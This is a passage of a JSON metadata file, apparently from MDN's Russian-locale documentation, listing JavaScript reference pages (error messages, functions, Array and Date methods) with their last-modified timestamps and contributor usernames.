- "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": {
- "modified": "2020-03-12T19:45:27.217Z",
- "contributors": [
- "richandhandsomeman"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": {
- "modified": "2020-03-12T19:47:08.319Z",
- "contributors": [
- "thepocp"
- ]
- },
- "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": {
- "modified": "2020-03-12T19:46:03.538Z",
- "contributors": [
- "KTatyana",
- "SedovDP",
- "Sparks"
- ]
- },
- "Web/JavaScript/Reference/Errors/More_arguments_needed": {
- "modified": "2020-03-12T19:46:14.923Z",
- "contributors": [
- "thepocp"
- ]
- },
- "Web/JavaScript/Reference/Errors/Negative_repetition_count": {
- "modified": "2020-03-12T19:47:21.952Z",
- "contributors": [
- "Logiiiin"
- ]
- },
- "Web/JavaScript/Reference/Errors/No_non-null_object": {
- "modified": "2020-03-12T19:48:41.071Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/No_properties": {
- "modified": "2020-03-12T19:48:10.284Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/No_variable_name": {
- "modified": "2020-03-12T19:47:58.181Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Non_configurable_array_element": {
- "modified": "2020-03-12T19:48:37.262Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Not_a_codepoint": {
- "modified": "2020-03-12T19:47:08.221Z",
- "contributors": [
- "KTatyana",
- "milothea"
- ]
- },
- "Web/JavaScript/Reference/Errors/Not_a_constructor": {
- "modified": "2020-03-12T19:48:26.755Z",
- "contributors": [
- "grebenyukov"
- ]
- },
- "Web/JavaScript/Reference/Errors/Not_a_function": {
- "modified": "2020-03-12T19:44:14.870Z",
- "contributors": [
- "merelj",
- "elscept",
- "winvano",
- "vladyslavnes",
- "MonX94",
- "eedmast",
- "s1lver"
- ]
- },
- "Web/JavaScript/Reference/Errors/Not_defined": {
- "modified": "2020-03-12T19:45:01.771Z",
- "contributors": [
- "Nik1tasm",
- "irodger",
- "MrDaedra",
- "KurumiToki",
- "alexfromvl",
- "topcomfort"
- ]
- },
- "Web/JavaScript/Reference/Errors/Precision_range": {
- "modified": "2020-03-12T19:46:12.947Z",
- "contributors": [
- "KTatyana",
- "rbetristha"
- ]
- },
- "Web/JavaScript/Reference/Errors/Property_access_denied": {
- "modified": "2020-03-12T19:46:14.706Z",
- "contributors": [
- "thepocp"
- ]
- },
- "Web/JavaScript/Reference/Errors/Read-only": {
- "modified": "2020-03-12T19:48:38.316Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Redeclared_parameter": {
- "modified": "2020-03-12T19:48:00.985Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": {
- "modified": "2020-03-12T19:48:40.523Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Reserved_identifier": {
- "modified": "2020-03-12T19:48:30.540Z",
- "contributors": [
- "FromQwghlm"
- ]
- },
- "Web/JavaScript/Reference/Errors/Resulting_string_too_large": {
- "modified": "2020-03-12T19:47:15.830Z",
- "contributors": [
- "Logiiiin"
- ]
- },
- "Web/JavaScript/Reference/Errors/Stmt_after_return": {
- "modified": "2020-03-12T19:44:12.151Z",
- "contributors": [
- "Logiiiin",
- "pk.prog",
- "naudachu",
- "s1lver"
- ]
- },
- "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": {
- "modified": "2020-03-12T19:48:33.429Z",
- "contributors": [
- "ialexi-bl",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Too_much_recursion": {
- "modified": "2020-03-12T19:46:15.435Z",
- "contributors": [
- "thepocp"
- ]
- },
- "Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments": {
- "modified": "2020-03-12T19:48:42.436Z",
- "contributors": [
- "fuggy",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Undeclared_var": {
- "modified": "2020-03-12T19:47:38.776Z",
- "contributors": [
- "Akh-rman",
- "Matthew11770"
- ]
- },
- "Web/JavaScript/Reference/Errors/Undefined_prop": {
- "modified": "2020-03-12T19:47:58.221Z",
- "contributors": [
- "KTatyana"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unexpected_token": {
- "modified": "2020-03-12T19:46:02.532Z",
- "contributors": [
- "KTatyana",
- "NemchinovSergey",
- "Sparks"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unexpected_type": {
- "modified": "2020-03-12T19:45:23.586Z",
- "contributors": [
- "DanyaSWorlD"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unnamed_function_statement": {
- "modified": "2020-03-12T19:48:37.361Z",
- "contributors": [
- "Akh-rman",
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unterminated_string_literal": {
- "modified": "2020-03-12T19:48:38.047Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/in_operator_no_object": {
- "modified": "2020-03-12T19:48:40.403Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand": {
- "modified": "2020-03-12T19:48:41.158Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/is_not_iterable": {
- "modified": "2020-03-12T19:48:36.606Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Errors/Переменные_скрывают_аргумент": {
- "modified": "2020-03-12T19:48:55.415Z",
- "contributors": [
- "MakarovDs777"
- ]
- },
- "Web/JavaScript/Reference/Functions": {
- "modified": "2020-03-12T19:39:49.358Z",
- "contributors": [
- "KoS57",
- "nikbelikov",
- "SmogHard",
- "forestbird",
- "teoli",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Functions/Arrow_functions": {
- "modified": "2020-10-15T21:31:20.608Z",
- "contributors": [
- "MerkUriy",
- "iFeltz",
- "kliuchyk",
- "kkxley",
- "coxdn",
- "Sajag",
- "animhotep",
- "vibecode",
- "Neiromaster",
- "Siteograf",
- "TotalAMD",
- "bskydive",
- "seriouslyfluffy",
- "dst",
- "vitya-ne",
- "theViktor1990",
- "uleming",
- "kutase123",
- "pashutk",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Functions/Default_parameters": {
- "modified": "2020-10-15T21:31:19.263Z",
- "contributors": [
- "torbasow",
- "ic8550",
- "ekirpichyov",
- "SphinxKnight",
- "I-O",
- "esusekov",
- "dtretyakov"
- ]
- },
- "Web/JavaScript/Reference/Functions/Rest_parameters": {
- "modified": "2020-11-24T01:31:54.419Z",
- "contributors": [
- "almaceleste",
- "CLoud-Maker",
- "ekirpichyov",
- "jt3k",
- "IlyaMokin",
- "forestbird",
- "dtretyakov",
- "fscholz",
- "EgorSinitcin"
- ]
- },
- "Web/JavaScript/Reference/Functions/arguments": {
- "modified": "2020-10-15T21:34:47.356Z",
- "contributors": [
- "sashakrauzer",
- "Ziserman",
- "boxa6",
- "dima74",
- "KTatyana",
- "Olovyanch",
- "uleming",
- "BychekRU",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Functions/arguments/callee": {
- "modified": "2020-03-12T19:44:41.002Z",
- "contributors": [
- "madsps",
- "lkazberova",
- "In4in"
- ]
- },
- "Web/JavaScript/Reference/Functions/arguments/length": {
- "modified": "2020-03-12T19:41:22.682Z",
- "contributors": [
- "evgenevna22",
- "BychekRU"
- ]
- },
- "Web/JavaScript/Reference/Functions/get": {
- "modified": "2020-10-15T21:43:29.042Z",
- "contributors": [
- "ankormoreankor",
- "WinterSilence",
- "YozhEzhi",
- "ipoluhin",
- "metelskiy",
- "kukuruznik04",
- "ArtyomGilevich",
- "andrey-gnl",
- "pierreneter",
- "etokareva"
- ]
- },
- "Web/JavaScript/Reference/Functions/set": {
- "modified": "2020-10-15T21:49:47.173Z",
- "contributors": [
- "SerzN1",
- "severin-d",
- "PaulineNemchak",
- "serzero2007",
- "d4rkm3z"
- ]
- },
- "Web/JavaScript/Reference/Functions/Определиние_методов": {
- "modified": "2020-03-12T19:41:39.567Z",
- "contributors": [
- "SphinxKnight",
- "sergeymakoveev",
- "BatenkovT"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects": {
- "modified": "2020-03-12T19:36:07.217Z",
- "contributors": [
- "AynurShauerman",
- "InoY",
- "akrom123",
- "Mingun",
- "teoli",
- "pashak"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array": {
- "modified": "2020-10-15T21:21:43.377Z",
- "contributors": [
- "wbamberg",
- "geek10010",
- "rinbik",
- "dima74",
- "Yumeiro",
- "superpuper32",
- "kdex",
- "terranisu",
- "Mingun",
- "teoli",
- "yakovlevigorek",
- "icw82",
- "BedyNN",
- "dbruant"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": {
- "modified": "2019-03-23T23:03:21.064Z",
- "contributors": [
- "SphinxKnight",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/@@species": {
- "modified": "2020-10-15T22:06:58.667Z",
- "contributors": [
- "DwarfMason"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": {
- "modified": "2020-10-15T22:00:26.446Z",
- "contributors": [
- "fax1ty"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/Reduce": {
- "modified": "2020-10-15T21:28:31.597Z",
- "contributors": [
- "sborenko",
- "nikolai-shabalin",
- "likerRr",
- "Ant-VAV",
- "Metotron",
- "fxrbfg",
- "Ohar",
- "slavablind91",
- "AliaksandrSith",
- "Riim",
- "Mingun",
- "NikitaK",
- "Anton_Arestov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/concat": {
- "modified": "2020-10-15T21:29:20.106Z",
- "contributors": [
- "rookhive",
- "nikolai-shabalin",
- "AlekseiTarasov",
- "KTatyana",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": {
- "modified": "2019-03-23T23:11:15.223Z",
- "contributors": [
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/entries": {
- "modified": "2019-09-20T08:30:17.656Z",
- "contributors": [
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/every": {
- "modified": "2020-10-15T21:22:11.253Z",
- "contributors": [
- "VovanR",
- "YozhEzhi",
- "burashka",
- "Mingun",
- "teoli",
- "hel-galdr"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/fill": {
- "modified": "2020-10-15T21:29:20.455Z",
- "contributors": [
- "iandr",
- "nakhodkiin",
- "nikolai-shabalin",
- "alt-j",
- "dima74",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/filter": {
- "modified": "2020-10-15T21:29:22.486Z",
- "contributors": [
- "almaceleste",
- "Darth-pioner",
- "nikolai-shabalin",
- "Sinfiotli",
- "burashka",
- "Aleksej",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/find": {
- "modified": "2020-10-15T21:29:21.073Z",
- "contributors": [
- "tcheburator",
- "drunk",
- "matveyson",
- "JorJeG",
- "Metotron",
- "sv-kozlov",
- "OksanaKaragicheva",
- "AlexeyMM",
- "burashka",
- "torbasow",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/findIndex": {
- "modified": "2020-10-15T21:29:19.823Z",
- "contributors": [
- "zhvirblis",
- "S-le",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/flat": {
- "modified": "2020-12-06T17:04:44.757Z",
- "contributors": [
- "PaulineNemchak",
- "ekirpichyov",
- "geekjob",
- "Akh-rman",
- "Fellzo",
- "vjachet"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/flatMap": {
- "modified": "2020-10-15T22:10:06.829Z",
- "contributors": [
- "dsrtF0x-git",
- "InoY",
- "taxidermic",
- "Akh-rman",
- "eof273",
- "etroynov",
- "dood"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/forEach": {
- "modified": "2020-10-15T21:21:41.065Z",
- "contributors": [
- "almaceleste",
- "nikolai-shabalin",
- "JorJeG",
- "paulvoloschuk",
- "kusonka",
- "Mingun",
- "Ajooluz",
- "teoli",
- "dunmaksim",
- "IgorKlopov",
- "ipetropolsky",
- "John Wehin"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/from": {
- "modified": "2020-10-15T21:28:50.020Z",
- "contributors": [
- "ekirpichyov",
- "drwatson1",
- "JorJeG",
- "kdex",
- "Sergey.Stolnikov",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/includes": {
- "modified": "2020-10-15T21:30:12.634Z",
- "contributors": [
- "Yialo",
- "Hronex",
- "nikolai-shabalin",
- "dima74",
- "Setol",
- "burashka",
- "jwhitlock",
- "dema",
- "Mingun",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/indexOf": {
- "modified": "2020-10-15T21:29:27.163Z",
- "contributors": [
- "zhvirblis",
- "vlad-vorontsov",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/isArray": {
- "modified": "2020-10-15T21:29:00.463Z",
- "contributors": [
- "dudd1ts",
- "JorJeG",
- "Mingun",
- "ivan_k"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/join": {
- "modified": "2020-10-15T21:29:17.685Z",
- "contributors": [
- "pk.prog",
- "AlexeyOm",
- "IslamA",
- "Radiansz",
- "mshykov",
- "Mingun",
- "teoli",
- "Ajooluz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/keys": {
- "modified": "2020-10-15T21:29:27.000Z",
- "contributors": [
- "nikolai-shabalin",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": {
- "modified": "2020-10-15T21:29:27.046Z",
- "contributors": [
- "nikolai-shabalin",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/length": {
- "modified": "2020-10-15T21:29:17.654Z",
- "contributors": [
- "ierehon1905",
- "smlkA",
- "Roman-Kosov",
- "JorJeG",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/map": {
- "modified": "2020-10-15T21:25:02.588Z",
- "contributors": [
- "Dvash",
- "nikolai-shabalin",
- "JorJeG",
- "ZeroUnderscoreOu",
- "Jemdo",
- "torbasow",
- "Mingun",
- "teoli",
- "ilyamilosevic",
- "Vhornets"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/of": {
- "modified": "2020-10-15T21:29:22.065Z",
- "contributors": [
- "ekirpichyov",
- "Natalya_Surikova",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/pop": {
- "modified": "2020-10-15T21:29:28.268Z",
- "contributors": [
- "art-gur",
- "KTatyana",
- "torbasow",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/prototype": {
- "modified": "2020-10-15T21:23:46.631Z",
- "contributors": [
- "boxa6",
- "Mingun",
- "teoli",
- "BedyNN"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/push": {
- "modified": "2020-10-15T21:29:29.342Z",
- "contributors": [
- "art-gur",
- "roma-derski",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/reduceRight": {
- "modified": "2019-03-23T23:10:37.299Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/reverse": {
- "modified": "2020-10-15T21:29:30.196Z",
- "contributors": [
- "nikolai-shabalin",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/shift": {
- "modified": "2019-03-18T21:11:15.103Z",
- "contributors": [
- "UriShlomov",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/slice": {
- "modified": "2020-11-30T07:23:00.434Z",
- "contributors": [
- "chmsv",
- "rulevadim",
- "nikolai-shabalin",
- "GraceAredel",
- "Ollemesh",
- "kdex",
- "xaosxaos",
- "Mol4ok",
- "BychekRU",
- "kroleg",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/some": {
- "modified": "2020-10-15T21:22:10.601Z",
- "contributors": [
- "ekirpichyov",
- "VovanR",
- "zhvirblis",
- "Mingun",
- "teoli",
- "hel-galdr"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/sort": {
- "modified": "2020-11-19T16:34:13.947Z",
- "contributors": [
- "deepdarkness",
- "YozhEzhi",
- "dmivtr",
- "JorJeG",
- "Denis-Yeromenko",
- "borm",
- "vlad-vorontsov",
- "grabus",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/splice": {
- "modified": "2020-12-02T07:24:33.321Z",
- "contributors": [
- "inva8de",
- "Eskinnikita",
- "zhvirblis",
- "dimaqw",
- "JohnnyJustDo",
- "mshipov",
- "terranisu",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": {
- "modified": "2019-03-23T23:10:25.595Z",
- "contributors": [
- "IvanMorkva",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/toSource": {
- "modified": "2019-03-23T23:10:31.696Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/toString": {
- "modified": "2019-09-15T17:12:05.770Z",
- "contributors": [
- "Glazomer",
- "Ilya33",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/unshift": {
- "modified": "2020-10-15T21:29:32.715Z",
- "contributors": [
- "muxmux.ryzhinskiy",
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/values": {
- "modified": "2019-03-23T23:07:58.684Z",
- "contributors": [
- "nakhodkiin",
- "burashka",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": {
- "modified": "2019-04-21T10:54:59.612Z",
- "contributors": [
- "solncebro",
- "Bargamut",
- "PaulShestakov",
- "pashutk"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": {
- "modified": "2020-10-15T22:21:50.519Z",
- "contributors": [
- "shmel3"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": {
- "modified": "2019-03-23T22:15:54.709Z",
- "contributors": [
- "lazyexpert"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/AsyncFunction": {
- "modified": "2019-03-23T22:09:52.218Z",
- "contributors": [
- "Saiberbest"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": {
- "modified": "2020-10-15T22:21:51.709Z",
- "contributors": [
- "AliaksandrZahorski"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Atomics": {
- "modified": "2019-03-23T22:09:35.332Z",
- "contributors": [
- "Kazakoff",
- "Exseption",
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Atomics/add": {
- "modified": "2019-03-23T22:09:42.443Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Atomics/sub": {
- "modified": "2019-03-23T22:09:32.642Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/BigInt": {
- "modified": "2020-10-15T22:19:09.504Z",
- "contributors": [
- "art-gur",
- "bm12",
- "sh7dm",
- "3bl3gamer",
- "Anna-Myzukina"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/BigInt/asIntN": {
- "modified": "2020-10-15T22:20:36.621Z",
- "contributors": [
- "faramozzayw"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/BigInt/asUintN": {
- "modified": "2020-10-15T22:31:22.153Z",
- "contributors": [
- "ascker0087"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean": {
- "modified": "2019-07-22T13:06:53.919Z",
- "contributors": [
- "wbamberg",
- "Denis-Yeromenko",
- "villager",
- "Aleksej",
- "AlexChuev",
- "Mingun",
- "Troynov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean/prototype": {
- "modified": "2019-03-23T23:08:22.785Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": {
- "modified": "2019-03-23T23:08:31.932Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean/toString": {
- "modified": "2019-03-23T23:08:25.305Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": {
- "modified": "2019-03-23T23:08:35.008Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/DataView": {
- "modified": "2020-10-15T22:07:01.854Z",
- "contributors": [
- "MuradAz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": {
- "modified": "2020-10-15T22:26:51.553Z",
- "contributors": [
- "A-Zalt"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date": {
- "modified": "2020-10-15T21:21:23.873Z",
- "contributors": [
- "Lutsko.Aleksandr",
- "sashakrauzer",
- "denis_dubovitskiy",
- "prinze77",
- "boxa6",
- "wbamberg",
- "MerkUriy",
- "dvapelnik",
- "lanedis",
- "Mingun",
- "zasipin",
- "liloi",
- "teoli",
- "Funkill",
- "bvc3at"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/UTC": {
- "modified": "2020-10-15T21:30:36.314Z",
- "contributors": [
- "art-gur",
- "Kogoruhn",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getDate": {
- "modified": "2020-11-23T09:29:17.949Z",
- "contributors": [
- "Thr0TT1e",
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getDay": {
- "modified": "2020-11-23T09:40:35.418Z",
- "contributors": [
- "Thr0TT1e",
- "YozhEzhi",
- "pushandplay",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": {
- "modified": "2020-11-23T09:25:53.294Z",
- "contributors": [
- "Thr0TT1e",
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getHours": {
- "modified": "2020-11-23T09:42:06.437Z",
- "contributors": [
- "Thr0TT1e",
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": {
- "modified": "2020-11-23T09:43:47.925Z",
- "contributors": [
- "Thr0TT1e",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": {
- "modified": "2020-11-23T09:46:11.501Z",
- "contributors": [
- "Thr0TT1e",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getMonth": {
- "modified": "2020-11-23T09:48:49.474Z",
- "contributors": [
- "Thr0TT1e",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": {
- "modified": "2020-11-23T09:50:13.502Z",
- "contributors": [
- "Thr0TT1e",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getTime": {
- "modified": "2020-11-23T10:07:21.665Z",
- "contributors": [
- "Thr0TT1e",
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": {
- "modified": "2019-03-23T23:08:01.324Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": {
- "modified": "2019-03-23T23:07:51.614Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": {
- "modified": "2019-03-23T23:07:47.611Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": {
- "modified": "2019-03-23T23:07:46.134Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": {
- "modified": "2019-03-23T23:07:53.266Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": {
- "modified": "2019-03-23T23:07:39.074Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": {
- "modified": "2019-03-23T23:07:42.061Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": {
- "modified": "2019-03-23T23:07:45.367Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": {
- "modified": "2019-03-23T23:07:43.174Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/getYear": {
- "modified": "2020-10-15T21:30:40.324Z",
- "contributors": [
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/now": {
- "modified": "2020-10-15T21:30:36.867Z",
- "contributors": [
- "art-gur",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/parse": {
- "modified": "2019-10-24T09:44:34.488Z",
- "contributors": [
- "alx-khramov",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/prototype": {
- "modified": "2020-02-07T02:50:13.993Z",
- "contributors": [
- "alexbs",
- "deepdarkness",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setDate": {
- "modified": "2020-10-15T21:30:41.423Z",
- "contributors": [
- "YozhEzhi",
- "webkumo",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": {
- "modified": "2019-03-23T23:07:39.254Z",
- "contributors": [
- "kirilloid",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setHours": {
- "modified": "2019-03-23T23:07:43.801Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": {
- "modified": "2019-03-23T23:07:39.901Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": {
- "modified": "2019-03-23T23:07:42.239Z",
- "contributors": [
- "Grundy",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setMonth": {
- "modified": "2019-08-28T08:27:33.855Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": {
- "modified": "2019-03-23T23:07:43.395Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setTime": {
- "modified": "2019-03-23T23:07:49.178Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": {
- "modified": "2019-03-23T23:07:49.535Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": {
- "modified": "2019-03-23T23:07:46.690Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": {
- "modified": "2019-03-23T23:07:41.747Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": {
- "modified": "2019-03-23T23:07:43.019Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": {
- "modified": "2019-03-23T23:07:52.228Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": {
- "modified": "2019-03-23T23:07:49.014Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": {
- "modified": "2019-03-23T23:07:49.949Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/setYear": {
- "modified": "2020-10-15T21:30:50.607Z",
- "contributors": [
- "YozhEzhi",
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toDateString": {
- "modified": "2019-03-23T23:07:29.510Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": {
- "modified": "2019-03-23T23:07:35.386Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toISOString": {
- "modified": "2019-03-23T23:07:33.750Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toJSON": {
- "modified": "2019-03-23T23:07:37.415Z",
- "contributors": [
- "Mingun"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": {
- "modified": "2019-03-18T21:14:44.198Z",
- "contributors": [
- "Mingun",
- "teoli",
- "kup"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": {
- "modified": "2019-04-25T06:23:31.086Z",
- "contributors": [
- "Ferguse",
- "Mingun"
- ]
- },
